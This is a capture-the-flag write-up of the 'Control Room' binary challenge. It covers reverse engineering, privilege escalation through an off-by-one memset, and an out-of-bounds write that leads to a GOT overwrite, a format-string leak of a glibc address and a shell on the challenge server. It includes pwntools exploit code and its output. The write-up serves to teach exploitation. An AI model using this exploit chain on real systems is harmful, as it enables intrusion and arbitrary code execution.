Control Room
17 minutes to read
We are given a 64-bit binary called control_room
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Setup environment
We are also provided with the remote Glibc library:
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ md5sum libc.so.6
3d7240354d70ebbd11911187f1acd6e8 libc.so.6
First of all, it is useful to patch the binary so that it uses the provided Glibc. That way, when developing the exploit, it will presumably work on remote without any issue. Glibc 2.35 appears in Ubuntu 22.04. The best way to get the loader is to use Docker:
$ docker run -v "$(pwd):/opt" --rm -it ubuntu:22.04 bash
root@78c61fd23ca8:/# md5sum /lib/x86_64-linux-gnu/libc.so.6
3d7240354d70ebbd11911187f1acd6e8 /lib/x86_64-linux-gnu/libc.so.6
root@78c61fd23ca8:/# cp /lib64/ld-linux-x86-64.so.2 /opt
root@78c61fd23ca8:/# exit
exit
$ patchelf --set-interpreter ld-linux-x86-64.so.2 control_room
$ patchelf --set-rpath . control_room
$ ldd control_room
linux-vdso.so.1 (0x00007ffe4271e000)
libc.so.6 => ./libc.so.6 (0x00007f8c612d1000)
ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f8c614fb000)
Now we can have the same environment as in remote.
Reverse engineering
We can use Ghidra to analyze the binary and look at the decompiled source code in C:
int main() {
int ret;
size_t newline_index;
long in_FS_OFFSET;
char confirmation[4];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
confirmation = (char [4]) 0x0;
user_register();
printf("\nAre you sure about your username choice? (y/n)");
printf("\n> ");
fgets(confirmation, 4, stdin);
newline_index = strcspn(confirmation, "\n");
confirmation[newline_index] = '\0';
ret = strcmp(confirmation, "y");
if (ret == 0) {
log_message(0,"User registered successfully.\n");
} else {
user_edit();
}
menu();
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
The first relevant function is user_register
:
void user_register() {
size_t length;
long in_FS_OFFSET;
char username[256];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("<===[ Register ]===>\n");
username._0_8_ = 0;
username._8_8_ = 0;
username._16_8_ = 0;
username._24_8_ = 0;
username._32_8_ = 0;
username._40_8_ = 0;
username._48_8_ = 0;
username._56_8_ = 0;
username._64_8_ = 0;
username._72_8_ = 0;
username._80_8_ = 0;
username._88_8_ = 0;
username._96_8_ = 0;
username._104_8_ = 0;
username._112_8_ = 0;
username._120_8_ = 0;
username._128_8_ = 0;
username._136_8_ = 0;
username._144_8_ = 0;
username._152_8_ = 0;
username._160_8_ = 0;
username._168_8_ = 0;
username._176_8_ = 0;
username._184_8_ = 0;
username._192_8_ = 0;
username._200_8_ = 0;
username._208_8_ = 0;
username._216_8_ = 0;
username._224_8_ = 0;
username._232_8_ = 0;
username._240_8_ = 0;
username._248_8_ = 0;
printf("Enter a username: ");
read_input(username, 0x100);
strncpy(curr_user,username, 0x100);
length = strlen(curr_user);
*(size_t *) (curr_user + 0x108) = length + 1;
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
The program defines three roles with different abilities (we will see those later):
- Captain (
0
) - Technician (
1
) - Crew (
2
)
By default, we start as Crew:
$ ./control_room
<===[ Register ]===>
Enter a username: asdf
Are you sure about your username choice? (y/n)
> y
[+] User registered successfully.
βββββββββββββββββ¬βββββββββ
β Control Panel β 9A0:F3 β
βββββββββββββββββ΄βββββββββ€
β β
β Technician: β
β β
β 1. Configure Engine β
β β
β 2. Check Engine β
β β
β Captain: β
β β
β 3. Set route β
β β
β 4. View route β
β β
β 5. Change roles β
β β
ββββββββββββββββββββββββββ
[*] Current Role: Crew
Option [1-5]:
We don’t have nothing to do as Crew in the above menu. Hence, we must be able to switch roles to Technician or Captain.
Switching roles
This number 2
for Crew is entered in setup
:
void setup() {
setvbuf(stdin, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
read_banner();
memset(engines, 0, 0x80);
curr_user = malloc(0x110);
*(undefined4 *) ((long) curr_user + 0x100) = 2;
}
So, the global variable curr_user
will hold the username (256 bytes long), then the role and then the length. We can check this using GDB:
$ gdb -q control_room
Reading symbols from control_room...
(No debugging symbols found in control_room)
gefβ€ run
Starting program: ./control_room
<===[ Register ]===>
Enter a username: asdf
Are you sure about your username choice? (y/n)
> y
[+] User registered successfully.
βββββββββββββββββ¬βββββββββ
β Control Panel β 9A0:F3 β
βββββββββββββββββ΄βββββββββ€
β β
β Technician: β
β β
β 1. Configure Engine β
β β
β 2. Check Engine β
β β
β Captain: β
β β
β 3. Set route β
β β
β 4. View route β
β β
β 5. Change roles β
β β
ββββββββββββββββββββββββββ
[*] Current Role: Crew
Option [1-5]: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./libc.so.6
gefβ€ x/40gx (void *) curr_user
0x408480: 0x0000000066647361 0x0000000000000000
0x408490: 0x0000000000000000 0x0000000000000000
0x4084a0: 0x0000000000000000 0x0000000000000000
0x4084b0: 0x0000000000000000 0x0000000000000000
0x4084c0: 0x0000000000000000 0x0000000000000000
0x4084d0: 0x0000000000000000 0x0000000000000000
0x4084e0: 0x0000000000000000 0x0000000000000000
0x4084f0: 0x0000000000000000 0x0000000000000000
0x408500: 0x0000000000000000 0x0000000000000000
0x408510: 0x0000000000000000 0x0000000000000000
0x408520: 0x0000000000000000 0x0000000000000000
0x408530: 0x0000000000000000 0x0000000000000000
0x408540: 0x0000000000000000 0x0000000000000000
0x408550: 0x0000000000000000 0x0000000000000000
0x408560: 0x0000000000000000 0x0000000000000000
0x408570: 0x0000000000000000 0x0000000000000000
0x408580: 0x0000000000000002 0x0000000000000005
0x408590: 0x0000000000000000 0x0000000000020a71
0x4085a0: 0x0000000000000000 0x0000000000000000
0x4085b0: 0x0000000000000000 0x0000000000000000
As expected, we have the username ("asdf"
), then the role (2
), and the length of the username (5
because it counted the new line character).
Notice that we have the change to confirm our username in user_edit
:
void user_edit() {
int size;
char *p_user;
size_t newline_index;
puts("<===[ Edit Username ]===>\n");
printf("New username size: ");
size = read_num();
getchar();
if (*(ulong *) (curr_user + 0x108) < (ulong) (long) size) {
log_message(3,"Can\'t be larger than the current username.\n");
} else {
p_user = (char *) malloc((long) (size + 1));
if (p_user == NULL) {
log_message(3,"Please replace the memory catridge.");
/* WARNING: Subroutine does not return */
exit(-1);
}
memset(p_user, 0, (long) (size + 1));
printf("\nEnter your new username: ");
fgets(p_user, size, stdin);
newline_index = strcspn(p_user, "\n");
p_user[newline_index] = '\0';
strncpy(curr_user, p_user, (long) (size + 1));
log_message(0, "User updated successfully!\n");
free(p_user);
}
}
Notice that user_register
used a custom function called read_input
, whereas user_edit
calls fgets
using the current length of the username.
Let’s see what happens if we try to overflow the username field:
gefβ€ pattern create
[+] Generating a pattern of 1024 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa
aaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaa
aaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaela
aaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
[+] Saved as '$_gef0'
gefβ€ run
Starting program: ./control_room
<===[ Register ]===>
Enter a username: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaa
uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra
aaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaa
aaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaa
admaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaae
jaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
Are you sure about your username choice? (y/n)
> <===[ Edit Username ]===>
New username size:
Enter your new username: [+] User updated successfully!
βββββββββββββββββ¬βββββββββ
β Control Panel β 9A0:F3 β
βββββββββββββββββ΄βββββββββ€
β β
β Technician: β
β β
β 1. Configure Engine β
β β
β 2. Check Engine β
β β
β Captain: β
β β
β 3. Set route β
β β
β 4. View route β β β
β 5. Change roles β
β β
ββββββββββββββββββββββββββ
[*] Current Role: Crew
Option [1-5]: selection: 0
[!] Invalid option
[Inferior 1 (process 227208) exited with code 0377]
Well, that was too much. Let’s use exactly 256 characters:
gefβ€ pattern create 256
[+] Generating a pattern of 256 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa
aaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
[+] Saved as '$_gef1'
gefβ€ run
Starting program: ./control_room
<===[ Register ]===>
Enter a username: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaa
uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
Are you sure about your username choice? (y/n)
> <===[ Edit Username ]===>
New username size: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./libc.so.6
gefβ€ x/40gx (void *) curr_user
0x408480: 0x6161616161616161 0x6161616161616162
0x408490: 0x6161616161616163 0x6161616161616164
0x4084a0: 0x6161616161616165 0x6161616161616166
0x4084b0: 0x6161616161616167 0x6161616161616168
0x4084c0: 0x6161616161616169 0x616161616161616a
0x4084d0: 0x616161616161616b 0x616161616161616c
0x4084e0: 0x616161616161616d 0x616161616161616e
0x4084f0: 0x616161616161616f 0x6161616161616170
0x408500: 0x6161616161616171 0x6161616161616172
0x408510: 0x6161616161616173 0x6161616161616174
0x408520: 0x6161616161616175 0x6161616161616176
0x408530: 0x6161616161616177 0x6161616161616178
0x408540: 0x6161616161616179 0x626161616161617a
0x408550: 0x6261616161616162 0x6261616161616163
0x408560: 0x6261616161616164 0x6261616161616165
0x408570: 0x6261616161616166 0x0061616161616167
0x408580: 0x0000000000000002 0x0000000000000100
0x408590: 0x0000000000000000 0x0000000000020a71
0x4085a0: 0x0000000000000000 0x0000000000000000
0x4085b0: 0x0000000000000000 0x0000000000000000
Notice that the length is exactly 256 bytes (0x100
). The next character (\n
) made the program go to user_edit
. This function has an interesting sentence:
memset(p_user, 0, (long) (size + 1));
With this, our role will be updated to 0
(Captain) because the length is 0x100
. Hence, let’s update our username entering 256 (0x100
) as new size and a random username:
gefβ€ continue
Continuing.
256
Enter your new username: asdf
[+] User updated successfully!
βββββββββββββββββ¬βββββββββ
β Control Panel β 9A0:F3 β
βββββββββββββββββ΄βββββββββ€
β β
β Technician: β
β β
β 1. Configure Engine β
β β
β 2. Check Engine β
β β
β Captain: β
β β
β 3. Set route β
β β
β 4. View route β
β β
β 5. Change roles β
β β
ββββββββββββββββββββββββββ
[*] Current Role: Captain
Option [1-5]: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./libc.so.6
gefβ€ x/40gx (void *) curr_user
0x408480: 0x0000000066647361 0x0000000000000000
0x408490: 0x0000000000000000 0x0000000000000000
0x4084a0: 0x0000000000000000 0x0000000000000000
0x4084b0: 0x0000000000000000 0x0000000000000000
0x4084c0: 0x0000000000000000 0x0000000000000000
0x4084d0: 0x0000000000000000 0x0000000000000000
0x4084e0: 0x0000000000000000 0x0000000000000000
0x4084f0: 0x0000000000000000 0x0000000000000000
0x408500: 0x0000000000000000 0x0000000000000000
0x408510: 0x0000000000000000 0x0000000000000000
0x408520: 0x0000000000000000 0x0000000000000000
0x408530: 0x0000000000000000 0x0000000000000000
0x408540: 0x0000000000000000 0x0000000000000000
0x408550: 0x0000000000000000 0x0000000000000000
0x408560: 0x0000000000000000 0x0000000000000000
0x408570: 0x0000000000000000 0x0000000000000000
0x408580: 0x0000000000000000 0x0000000000000100
0x408590: 0x0000000000000000 0x0000000000000111
0x4085a0: 0x0000000000000408 0x1c4792114ee993aa
0x4085b0: 0x0000000000000000 0x0000000000000000
Perfect, now we are Captain (0
). Let’s analyze the available options.
Captain options
We have set_route
:
void set_route() {
int ret;
size_t newline_index;
long in_FS_OFFSET;
int i;
long number[8];
char confirmation[2];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
confirmation = (char [2]) 0x0;
if (*(int *) (curr_user + 0x100) == 0) {
for (i = 0; i < 4; i = i + 1) {
printf("<===[ Coordinates [%d] ]===>\n", (ulong) (i + 1));
printf("\tLatitude : ");
__isoc99_scanf("%ld", number + (long) i * 2);
printf("\tLongitude : ");
__isoc99_scanf("%ld", number + (long) i * 2 + 1);
}
getchar();
printf("\nDo you want to save the route? (y/n) ");
printf("\n> ");
fgets(confirmation, 3, stdin);
newline_index = strcspn(confirmation, "\n");
confirmation[newline_index] = '\0';
ret = strcmp(confirmation, "y");
if (ret == 0) {
route._0_8_ = number[0];
route._8_8_ = number[1];
route._16_8_ = number[2];
route._24_8_ = number[3];
route._32_8_ = number[4];
route._40_8_ = number[5];
route._48_8_ = number[6];
route._56_8_ = number[7];
log_message(0, "The route has been successfully updated!\n");
} else {
log_message(1, "Operation cancelled");
}
} else {
log_message(3, "Only the captain is allowed to change the ship\'s route\n");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This function allows us to enter any information in a global variable called route
. In my opinion, this is not very useful.
This is view_route
:
void view_route() {
int i;
if (*(int *) (curr_user + 0x100) == 0) {
puts("<===[ Route ]===>");
for (i = 0; i < 4; i = i + 1) {
print_coordinates(i);
}
} else {
log_message(3,"Only the captain is allowed to view the ship\'s route.\n");
}
}
It uses print_coordinates
:
void print_coordinates(int param_1) {
printf("<===[ Coordinates [%d] ]===>\n", (ulong) (param_1 + 1));
printf("\tLatitude : %ld\n", *(undefined8 *) (route + (long) param_1 * 0x10));
printf("\tLongitude : %ld\n", *(undefined8 *) (route + (long) param_1 * 0x10 + 8));
}
Basically it prints what we entered in route
. Again, it is not very useful:
Option [1-5]: 3
selection: 3
<===[ Coordinates [1] ]===>
Latitude : 1234
Longitude : 4321
<===[ Coordinates [2] ]===>
Latitude : 2345
Longitude : 5432
<===[ Coordinates [3] ]===>
Latitude : 3456
Longitude : 6543
<===[ Coordinates [4] ]===>
Latitude : 4567
Longitude : 7654
Do you want to save the route? (y/n)
> y
[+] The route has been successfully updated!
βββββββββββββββββ¬βββββββββ
β Control Panel β 9A0:F3 β
βββββββββββββββββ΄βββββββββ€
β β
β Technician: β
β β
β 1. Configure Engine β
β β
β 2. Check Engine β
β β
β Captain: β
β β
β 3. Set route β
β β
β 4. View route β
β β
β 5. Change roles β
β β
ββββββββββββββββββββββββββ
[*] Current Role: Captain
Option [1-5]: 4
selection: 4
<===[ Route ]===>
<===[ Coordinates [1] ]===>
Latitude : 1234
Longitude : 4321
<===[ Coordinates [2] ]===>
Latitude : 2345
Longitude : 5432
<===[ Coordinates [3] ]===>
Latitude : 3456
Longitude : 6543
<===[ Coordinates [4] ]===>
Latitude : 4567
Longitude : 7654
There is an option to switch role to Technician (change_role
):
void change_role() {
int role;
if (*(int *) (curr_user + 0x100) == 0) {
puts("<===[ Available roles ]===>");
puts("Technician: 1 | Crew: 2");
printf("New role: ");
role = read_num();
if ((role == 1) || (role == 0)) {
*(int *) (curr_user + 0x100) = role;
log_message(0, "New role has been set successfully!");
} else {
log_message(3, "Invalid role.");
}
} else {
log_message(3, "Only Captain is allowed to change roles.\n");
}
}
Technician options
So, let’s see what options we have as Technician. This is configure_engine
:
void configure_engine() {
uint number;
int ret;
size_t newline_index;
long in_FS_OFFSET;
undefined8 thrust;
undefined8 mixture;
char confirmation[2];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
confirmation = (char [2]) 0x0;
if (*(int *) (curr_user + 0x100) == 1) {
printf("\nEngine number [0-%d]: ", 3);
number = read_num();
if ((int) number < 4) {
printf("Engine [%d]: \n", (ulong) number);
printf("\tThrust: ");
__isoc99_scanf("%ld", &thrust);
printf("\tMixture ratio: ");
__isoc99_scanf("%ld", &mixture);
}
getchar();
printf("\nDo you want to save the configuration? (y/n) ");
printf("\n> ");
fgets(confirmation, 3, stdin);
newline_index = strcspn(confirmation, "\n");
confirmation[newline_index] = '\0';
ret = strcmp(confirmation, "y");
if (ret == 0) {
*(undefined8 *) (engines + (long) (int) number * 0x10) = thrust;
*(undefined8 *) (engines + (long) (int) number * 0x10 + 8) = mixture;
log_message(0, "Engine configuration updated successfully!\n");
} else {
log_message(1, "Engine configuration cancelled.\n");
}
} else {
log_message(3, "Only technicians are allowed to configure the engines");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
We have a vulnerability right here:
*(undefined8 *) (engines + (long) (int) number * 0x10) = thrust;
*(undefined8 *) (engines + (long) (int) number * 0x10 + 8) = mixture;
We control number
, thrust
and mixture
. And number
is treated as int
, the only check is that number < 4
:
printf("\nEngine number [0-%d]: ", 3);
number = read_num();
if ((int) number < 4) {
printf("Engine [%d]: \n", (ulong) number);
printf("\tThrust: ");
__isoc99_scanf("%ld", &thrust);
printf("\tMixture ratio: ");
__isoc99_scanf("%ld", &mixture);
}
So, we have an out-of-bounds (OOB) write. Using this, we can write anything into arbitrary memory. Hence, we have a write-what-where primitive. We can even create a function to exploit this later:
def write_what_where(p, what: Tuple[int, int], where: int):
p.sendlineafter(b'Option [1-5]: ', b'1')
p.sendlineafter(b'Engine number [0-3]: ', str((where - elf.sym.engines) // 16).encode())
p.sendlineafter(b'Thrust: ', str(what[0]).encode())
p.sendlineafter(b'Mixture ratio: ', str(what[1]).encode())
p.sendlineafter(b'Do you want to save the configuration? (y/n) \n> ', b'y')
One thing to consider is that we have to modify a total of 16 bytes (thrust
and mixture
).
Finally, let’s see what can we do with check_engine
:
void check_engines() {
int i;
if (*(int *) (curr_user + 0x100) == 1) {
puts("[===< Engine Check >===]");
for (i = 0; i < 4; i = i + 1) {
if ((100 < *(long *) (engines + (long) i * 0x10)) ||
(100 < *(long *) (engines + (long) i * 0x10 + 8))) {
log_message(3, "Faulty configuration found.\n");
return;
}
log_message(0, "All engines are configured correctly.\n");
}
} else {
log_message(3, "Only technicians are allowed to check the engines.\n");
}
}
Well, nothing actually useful.
Exploit strategy
Since we have a write-what-where primitive and the binary has Partial RELRO, the best technique to use is GOT overwrite. As a result, we will be messing around with the external functions of the binary.
First, we will need to leak some address within Glibc to find the base address and then call system("/bin/sh")
.
Exploit development
We will start with this code to switch to Technician:
def main():
p = get_process()
p.sendlineafter(b'Enter a username: ', b'A' * 256)
p.sendlineafter(b'New username size: ', b'256')
p.sendlineafter(b'Enter your new username: ', b'asdf')
p.sendlineafter(b'Option [1-5]: ', b'5')
p.sendlineafter(b'New role: ', b'1')
p.interactive()
Leaking memory addresses
I found a way to leak a stack address using this procedure:
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 264046
[*] Switching to interactive mode
[+] New role has been set successfully!
βββββββββββββββββ¬βββββββββ
β Control Panel β 9A0:F3 β
βββββββββββββββββ΄βββββββββ€
β β
β Technician: β
β β
β 1. Configure Engine β
β β
β 2. Check Engine β
β β
β Captain: β
β β
β 3. Set route β
β β
β 4. View route β
β β
β 5. Change roles β
β β
ββββββββββββββββββββββββββ
[*] Current Role: Technician
Option [1-5]: $ 1
selection: 1
Engine number [0-3]: $ 9
$
Do you want to save the configuration? (y/n)
> $ y
[+] Engine configuration updated successfully!
βββββ\xe2\xc0~\xa7\xd1\xfd\x7f
[*] Current Role: Technician
Option [1-5]: $
This is interesting but it was not needed.
To leak addresses within Glibc, my approach was to use printf
somewhere where I can control the first parameter. The only function that I found that didn’t break the program was free
in user_edit
. Now the problem is to call user_edit
. What I did was set the address of user_edit
in the GOT entry for exit
.
So, using an invalid option, the program will go to user_edit
, we will enter a format string payload to leak values from the stack and instead of free
, the program will call printf
on that, showing the addresses on screen. After that, the program will go again to the menu.
The choice of exit
and free
was really good because they used very little in the main functionality of the program. Let’s debug a bit:
gdb.attach(p, 'continue')
write_what_where(p, (elf.sym.user_edit, elf.sym.user_edit), elf.got.exit)
write_what_where(p, (elf.plt.printf, elf.plt.printf), elf.got.free)
p.interactive()
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 271041
[*] Leaked stack address: 0x7ffc032390c0
[*] running in new terminal: ['/usr/bin/gdb', '-q', './control_room', '271041', '-x', '/tmp/pwnfgdjd8xj.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
[+] Engine configuration updated successfully!
βββββ\xe2\xc0\x90#\x03\x7f
[*] Current Role: Technician
Option [1-5]: $
gefβ€ got
GOT protection: Partial RelRO | GOT functions: 20
[0x405018] free@GLIBC_2.2.5 β 0x4011e4
[0x405020] strncpy@GLIBC_2.2.5 β 0x7f038ad1c430
[0x405028] puts@GLIBC_2.2.5 β 0x7f038abe9ed0
[0x405030] fread@GLIBC_2.2.5 β 0x7f038abe8bb0
[0x405038] fclose@GLIBC_2.2.5 β 0x7f038abe7cf0
[0x405040] strlen@GLIBC_2.2.5 β 0x7f038ad1b220
[0x405048] __stack_chk_fail@GLIBC_2.4 β 0x401090
[0x405050] printf@GLIBC_2.2.5 β 0x7f038abc9770
[0x405058] memset@GLIBC_2.2.5 β 0x7f038ad18b40
[0x405060] strcspn@GLIBC_2.2.5 β 0x7f038ad01730
[0x405068] fgets@GLIBC_2.2.5 β 0x7f038abe8400
[0x405070] strcmp@GLIBC_2.2.5 β 0x7f038ad1a960
[0x405078] getchar@GLIBC_2.2.5 β 0x7f038abf0b60
[0x405080] fprintf@GLIBC_2.2.5 β 0x7f038abc96b0
[0x405088] malloc@GLIBC_2.2.5 β 0x7f038ac0e120
[0x405090] setvbuf@GLIBC_2.2.5 β 0x7f038abea670
[0x405098] fopen@GLIBC_2.2.5 β 0x7f038abe86b0
[0x4050a0] atoi@GLIBC_2.2.5 β 0x7f038abac640
[0x4050a8] __isoc99_scanf@GLIBC_2.7 β 0x7f038abcb110
[0x4050b0] exit@GLIBC_2.2.5 β 0x4018ed
gefβ€ x 0x4018ed
0x4018ed <user_edit>: 0xfa1e0ff3
gefβ€ x 0x4011e4
0x4011e4 <printf@plt+4>: 0x6525fff2
Alright, so if we use an invalid option we will go to user_edit
, and our username will go to printf
:
Option [1-5]: $ 0
selection: 0
[!] Invalid option
<===[ Edit Username ]===>
New username size: $ 200
Enter your new username: $ %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
[+] User updated successfully!
7ffc03236f60.0.7f038ac7da37.2b.7fffffff.100032390c0.1ce75a0.7ffc032390e0.4020ba.10000000000.0.7ffc03239110.40218c.7ffc03239228.100000000.4100000000.38550201c8808c00.1.7f038ab92d90.0.4020bf.100000000.7ffc03239228.0.91ff312e9fcd604e.
βββββ\xe2\xc0\x90#\x03\x7f
[*] Current Role: Technician
Option [1-5]: $
Perfect, we have a Glibc address at the third place. Let’s see which function is that using GDB:
gefβ€ x 0x7f038ac7da37
0x7f038ac7da37 <write+23>: 0xf0003d48
Ok, write+23
. With this, we can now rebase Glibc:
p.sendlineafter(b'Option [1-5]: ', b'0')
p.sendlineafter(b'New username size: ', b'200')
p.sendlineafter(b'Enter your new username: ', b'%3$lx')
p.recvuntil(b'User updated successfully!\n\n')
write_addr = int(p.recvline().decode()[:12], 16) - 23
p.info(f'Leaked write() address: {hex(write_addr)}')
glibc.address = write_addr - glibc.sym.write
p.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
And everything is working smoothly since the Glibc address looks fine (ending in 000
):
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 276836
[*] Leaked stack address: 0x7ffc63012350
[*] Leaked write() address: 0x7f39268c1a20
[+] Glibc base address: 0x7f39267ad000
[*] Switching to interactive mode
βββββ\xe2P#c\xfc
[*] Current Role: Technician
Option [1-5]: $
Getting RCE
At this point, we can use GOT overwrite again to set free
to system
and enter /bin/sh
as new username:
write_what_where(p, (glibc.sym.system, glibc.sym.system), elf.got.free)
p.sendlineafter(b'Option [1-5]: ', b'0')
p.sendlineafter(b'New username size: ', b'200')
p.sendlineafter(b'Enter your new username: ', b'/bin/sh\0')
p.recv()
p.interactive()
And with this, we have a shell:
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 287290
[*] Leaked stack address: 0x7ffcc72eb860
[*] Leaked write() address: 0x7f59718dda20
[+] Glibc base address: 0x7f59717c9000
[*] Switching to interactive mode
$ ls
banner.txt control_room ld-linux-x86-64.so.2 libc.so.6 solve.py
Flag
Let’s go remote:
$ python3 solve.py 178.62.9.10:32211
[*] './control_room_test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 178.62.9.10 on port 32211: Done
[*] Leaked stack address: 0x7ffefcdc3670
[*] Leaked write() address: 0x7f1270e9aa20
[+] Glibc base address: 0x7f1270d86000
[*] Switching to interactive mode
$ ls
banner.txt
challenge
flag.txt
libc.so.6
$ cat flag.txt
HTB{pr3p4r3_4_1mp4ct~~!}
The full exploit code is here: solve.py
.